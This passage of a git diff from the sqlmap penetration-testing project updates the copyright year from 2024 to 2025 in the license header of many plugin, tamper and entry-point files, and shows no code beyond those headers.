b/plugins/dbms/postgresql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/__init__.py b/plugins/dbms/presto/__init__.py index 9ca110f4b64..f4beb61bd4c 100644 --- a/plugins/dbms/presto/__init__.py +++ b/plugins/dbms/presto/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/connector.py b/plugins/dbms/presto/connector.py index 7241c002370..2ec254f6e05 100644 --- a/plugins/dbms/presto/connector.py +++ b/plugins/dbms/presto/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/enumeration.py b/plugins/dbms/presto/enumeration.py index 0bd2b5cdc98..3ed67f520c4 100644 --- a/plugins/dbms/presto/enumeration.py +++ b/plugins/dbms/presto/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/filesystem.py b/plugins/dbms/presto/filesystem.py index 807e3110a49..c50392b6404 100644 --- a/plugins/dbms/presto/filesystem.py +++ b/plugins/dbms/presto/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/fingerprint.py b/plugins/dbms/presto/fingerprint.py index 5a3cc43a613..cb88d132e0e 100644 --- a/plugins/dbms/presto/fingerprint.py +++ b/plugins/dbms/presto/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/syntax.py b/plugins/dbms/presto/syntax.py index b995549f465..0cc46217cbd 100644 --- a/plugins/dbms/presto/syntax.py +++ b/plugins/dbms/presto/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/takeover.py b/plugins/dbms/presto/takeover.py index 3626ff13118..b567968bfbb 100644 --- a/plugins/dbms/presto/takeover.py +++ b/plugins/dbms/presto/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/__init__.py b/plugins/dbms/raima/__init__.py index 6df5c3cae66..d343a32a700 100644 --- a/plugins/dbms/raima/__init__.py +++ b/plugins/dbms/raima/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/connector.py b/plugins/dbms/raima/connector.py index ef10e583d4a..914e8f1f4d1 100644 --- a/plugins/dbms/raima/connector.py +++ b/plugins/dbms/raima/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/enumeration.py b/plugins/dbms/raima/enumeration.py index 518e86b0654..349d359e2f8 100644 --- a/plugins/dbms/raima/enumeration.py +++ b/plugins/dbms/raima/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/filesystem.py b/plugins/dbms/raima/filesystem.py index 8587e9dfd8a..bd770801b36 100644 --- a/plugins/dbms/raima/filesystem.py +++ b/plugins/dbms/raima/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/fingerprint.py b/plugins/dbms/raima/fingerprint.py index a0cb06059d0..3cc9cb28d58 100644 --- a/plugins/dbms/raima/fingerprint.py +++ b/plugins/dbms/raima/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/syntax.py b/plugins/dbms/raima/syntax.py index e9514b006d7..cb568cae858 100644 --- a/plugins/dbms/raima/syntax.py +++ b/plugins/dbms/raima/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/takeover.py b/plugins/dbms/raima/takeover.py index b8463008b64..6dcf2614f24 100644 --- a/plugins/dbms/raima/takeover.py +++ b/plugins/dbms/raima/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/__init__.py b/plugins/dbms/sqlite/__init__.py index 49aedbfb02a..7cbd3b7e0e9 100644 --- a/plugins/dbms/sqlite/__init__.py +++ b/plugins/dbms/sqlite/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/connector.py b/plugins/dbms/sqlite/connector.py index a28b6fed369..d8e81e30109 100644 --- a/plugins/dbms/sqlite/connector.py +++ b/plugins/dbms/sqlite/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index b063a2680d0..60f64b4311f 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py index fddb6425766..6652085f2f9 100644 --- a/plugins/dbms/sqlite/filesystem.py +++ b/plugins/dbms/sqlite/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index 5f32b4f8edf..7b5dfaf7afb 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py index de0eaabcf59..7c9e0d27bbd 100644 --- a/plugins/dbms/sqlite/syntax.py +++ b/plugins/dbms/sqlite/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/takeover.py b/plugins/dbms/sqlite/takeover.py index d0954d96050..7c85ac7c751 100644 --- a/plugins/dbms/sqlite/takeover.py +++ b/plugins/dbms/sqlite/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/__init__.py b/plugins/dbms/sybase/__init__.py index 05e2d6b03c8..6109f43c578 100644 --- a/plugins/dbms/sybase/__init__.py +++ b/plugins/dbms/sybase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py index 3403d694fd0..60671a97585 100644 --- a/plugins/dbms/sybase/connector.py +++ b/plugins/dbms/sybase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index 1d229300c5f..1def1c2e32d 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/filesystem.py b/plugins/dbms/sybase/filesystem.py index e0c9cf15ac8..1c0f29555bf 100644 --- a/plugins/dbms/sybase/filesystem.py +++ b/plugins/dbms/sybase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index cecfdf70ed6..21ba102a4ac 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py index 7953d2b5040..a2998afcf62 100644 --- a/plugins/dbms/sybase/syntax.py +++ b/plugins/dbms/sybase/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/takeover.py b/plugins/dbms/sybase/takeover.py index 71ff8866100..af773709d65 100644 --- a/plugins/dbms/sybase/takeover.py +++ b/plugins/dbms/sybase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/__init__.py b/plugins/dbms/vertica/__init__.py index 6ffbf9b3049..854ff38f5a9 100644 --- a/plugins/dbms/vertica/__init__.py +++ b/plugins/dbms/vertica/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/connector.py b/plugins/dbms/vertica/connector.py index 55b2752a844..7cb89960f69 100644 --- a/plugins/dbms/vertica/connector.py +++ b/plugins/dbms/vertica/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/enumeration.py b/plugins/dbms/vertica/enumeration.py index d6e3f577c51..e8ff3d351cc 100644 --- a/plugins/dbms/vertica/enumeration.py +++ b/plugins/dbms/vertica/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/filesystem.py b/plugins/dbms/vertica/filesystem.py index 7f3df980642..40cc82d477f 100644 --- a/plugins/dbms/vertica/filesystem.py +++ b/plugins/dbms/vertica/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/fingerprint.py b/plugins/dbms/vertica/fingerprint.py index d31ef61a1fc..e62fc572f99 100644 --- a/plugins/dbms/vertica/fingerprint.py +++ b/plugins/dbms/vertica/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/syntax.py b/plugins/dbms/vertica/syntax.py index c97c5d53d0d..526f3628d73 100644 --- a/plugins/dbms/vertica/syntax.py +++ b/plugins/dbms/vertica/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/takeover.py b/plugins/dbms/vertica/takeover.py index 8a466de54af..0a057328570 100644 --- a/plugins/dbms/vertica/takeover.py +++ b/plugins/dbms/vertica/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/__init__.py b/plugins/dbms/virtuoso/__init__.py index 75c5e1de747..54c08e97c27 100644 --- a/plugins/dbms/virtuoso/__init__.py +++ b/plugins/dbms/virtuoso/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/connector.py b/plugins/dbms/virtuoso/connector.py index a9947069cef..e58ff8abea0 100644 --- a/plugins/dbms/virtuoso/connector.py +++ b/plugins/dbms/virtuoso/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/enumeration.py b/plugins/dbms/virtuoso/enumeration.py index bf8fb5db0c6..844c1e0b08e 100644 --- a/plugins/dbms/virtuoso/enumeration.py +++ b/plugins/dbms/virtuoso/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/filesystem.py b/plugins/dbms/virtuoso/filesystem.py index 1f0be1f1a64..6d38da0c1a1 100644 --- a/plugins/dbms/virtuoso/filesystem.py +++ b/plugins/dbms/virtuoso/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/fingerprint.py b/plugins/dbms/virtuoso/fingerprint.py index 0be61e9f0dc..a91be678ce9 100644 --- a/plugins/dbms/virtuoso/fingerprint.py +++ b/plugins/dbms/virtuoso/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/syntax.py b/plugins/dbms/virtuoso/syntax.py index b995549f465..0cc46217cbd 100644 --- a/plugins/dbms/virtuoso/syntax.py +++ b/plugins/dbms/virtuoso/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/takeover.py b/plugins/dbms/virtuoso/takeover.py index aa05c198560..0e3f680fe2b 100644 --- a/plugins/dbms/virtuoso/takeover.py +++ b/plugins/dbms/virtuoso/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py index 7777bded120..b25b2fb8ba4 100644 --- a/plugins/generic/__init__.py +++ b/plugins/generic/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/connector.py b/plugins/generic/connector.py index 79578aae323..8208497699c 100644 --- a/plugins/generic/connector.py +++ b/plugins/generic/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index 047662a995e..cb11959473b 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index c14be1db44f..f1c6d23d8b4 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 101036a4de1..a7861881ce5 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index 54372e50ae0..15a0c80c3c1 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 779a2334573..ed1b2afb965 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index dcffd08e423..4d64ff32429 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index 7eb710b59aa..e1cfd576b94 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/search.py b/plugins/generic/search.py index 384936adc02..3829abb07db 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index e5f832507c4..fa32439ec7e 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index d3075943d84..207397353c4 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 27bed7e6c54..a1694a1cf16 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/sqlmap.py b/sqlmap.py index 70fb9727ac9..4821df63049 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/sqlmapapi.py b/sqlmapapi.py index 8527f1e5b46..bf1f11d5f95 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/0eunion.py b/tamper/0eunion.py index 93420537f67..cec753c5022 100644 --- a/tamper/0eunion.py +++ b/tamper/0eunion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/__init__.py b/tamper/__init__.py index 7777bded120..b25b2fb8ba4 100644 --- a/tamper/__init__.py +++ b/tamper/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/apostrophemask.py b/tamper/apostrophemask.py index 113b5bf1035..92c4faa004a 100644 --- a/tamper/apostrophemask.py +++ b/tamper/apostrophemask.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/apostrophenullencode.py b/tamper/apostrophenullencode.py index 7a3cd18f6c6..ba14d9703e8 100644 --- a/tamper/apostrophenullencode.py +++ b/tamper/apostrophenullencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/appendnullbyte.py b/tamper/appendnullbyte.py index 5fda08bcdb4..7905fa3bc8b 100644 --- a/tamper/appendnullbyte.py +++ b/tamper/appendnullbyte.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/base64encode.py b/tamper/base64encode.py index 9e81dc90099..72171380938 100644 --- a/tamper/base64encode.py +++ b/tamper/base64encode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/between.py b/tamper/between.py index d07e224517c..a94cc90f2f0 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/binary.py b/tamper/binary.py index b0151a30782..9e1b640bc9e 100644 --- a/tamper/binary.py +++ b/tamper/binary.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py index 7438d304650..064a4cb089f 100644 --- a/tamper/bluecoat.py +++ b/tamper/bluecoat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/chardoubleencode.py b/tamper/chardoubleencode.py index ea711b4a291..2915a85dad8 100644 --- a/tamper/chardoubleencode.py +++ b/tamper/chardoubleencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charencode.py b/tamper/charencode.py index 181f978f314..91c9cb48f45 100644 --- a/tamper/charencode.py +++ b/tamper/charencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py index 6e8b429f556..c5e4647c0e1 100644 --- a/tamper/charunicodeencode.py +++ b/tamper/charunicodeencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charunicodeescape.py b/tamper/charunicodeescape.py index 8fe05c00abf..4d8480b1734 100644 --- a/tamper/charunicodeescape.py +++ b/tamper/charunicodeescape.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers 